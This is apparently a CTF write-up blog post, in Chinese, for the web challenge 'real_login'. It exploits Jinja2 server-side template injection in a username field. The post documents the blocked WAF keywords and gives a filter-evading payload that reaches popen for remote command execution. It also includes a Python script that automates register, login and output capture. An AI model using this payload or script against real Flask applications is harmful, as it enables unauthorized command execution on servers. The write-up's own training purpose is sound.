mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
496 字
1 分钟
CTF Web - 好靶场real_login
2026-04-17

CTF Web - 好靶场real_login#

##声明: 此wp使用skill制作

题目总结#

本题是一个带有注册和登录系统的 Flask/Jinja2 Web 应用程序。username(用户名)字段在注册后,会在登录成功的 Dashboard(仪表盘)页面上原样反射,存在服务器端模板注入(SSTI)漏洞。系统部署了非常严格的 WAF,拦截了 . (点)、_ (部分上下文的下划线) 以及众多关键内置词(如 classsubclassesospopenflag 等)。核心解法是利用中括号字典访问法和 Jinja2 的 ~ 字符串拼接来绕过过滤并实现 RCE(远程命令执行)。

解题步骤#

第一步:确认漏洞与探测 WAF 规则#

使用 {{7*'7'}} 作为用户名注册并登录,在仪表盘上成功回显 7777777,确认存在 Jinja2 SSTI 漏洞。 通过 Fuzz 探测发现,以下字符和关键字被 WAF 直接拦截(返回 “WAF Alert”):

  • 字符:.
  • 关键字:class, subclasses, mro, init, globals, builtins
  • 关键字:import, os, system, popen, eval, request
  • 关键字:flag

第二步:构造 WAF 绕过与 RCE Payload#

为了绕过上述限制,我们采用以下策略:

  1. 点号绕过:使用 [''] 字典/属性访问代替 .
  2. 关键字绕过:利用 Jinja2 的 ~ 运算符拼接字符串,如将 '__class__' 拆分为 '__cla'~'ss__'
  3. 敏感文件绕过:使用通配符 *(如 fl*)来代替完整的 flag 单词。

我们构造的最终 Payload 如下,它利用内置类列表找到 os._wrap_close (本环境中索引为 132) 并调用其 __init__ 下的全局变量中的 popen 函数执行系统命令:

{{''['__cla'~'ss__']['__mro__'][1]['__subcla'~'sses__']()[132]['__in'~'it__']['__glob'~'als__']['po'~'pen']('cat /tmp/fl*')['read']()}}

第三步:编写自动化利用脚本#

以下 Python 脚本自动处理了每次注册需要唯一用户名的问题,并在完成注册、登录后自动获取回显的命令执行结果。

import requests
import uuid
def exploit(cmd):
url = "http://7mvhtth.haobachang2.loveli.com.cn:8888"
session = requests.Session()
# 生成随机 UID,确保每次注册的用户名都是唯一的
uid = uuid.uuid4().hex[:8]
# 构造 SSTI Payload,通过字符串拼接绕过 WAF 过滤
payload = f"{{{{''['__cla'~'ss__']['__mro__'][1]['__subcla'~'sses__']()[132]['__in'~'it__']['__glob'~'als__']['po'~'pen']('{cmd}')['read']()}}}}"
username = f"{payload}{{# {uid} #}}"
password = "password123"
# 1. 注册
res = session.post(f"{url}/register", data={"username": username, "password": password})
if "WAF Alert" in res.text:
print("WAF Alert!")
return
# 2. 登录
session.post(f"{url}/login", data={"username": username, "password": password})
# 3. 访问 Dashboard 触发 SSTI
res = session.get(f"{url}/dashboard")
if "Welcome back, " in res.text:
# 从页面回显中提取出执行结果
result = res.text.split("Welcome back, ")[1].split("!")[0]
print(f"Result for {cmd}:\n{result}")
# 执行 payload 读取 /tmp/ 下的 flag
exploit("cat /tmp/fl*")

Flag#

flag{393396154d3c4312bde3b98d2873895d}
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

CTF Web - 好靶场real_login
http://blog.azkanna.cn/posts/real_login_wp/
作者
AzKanna
发布于
2026-04-17
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录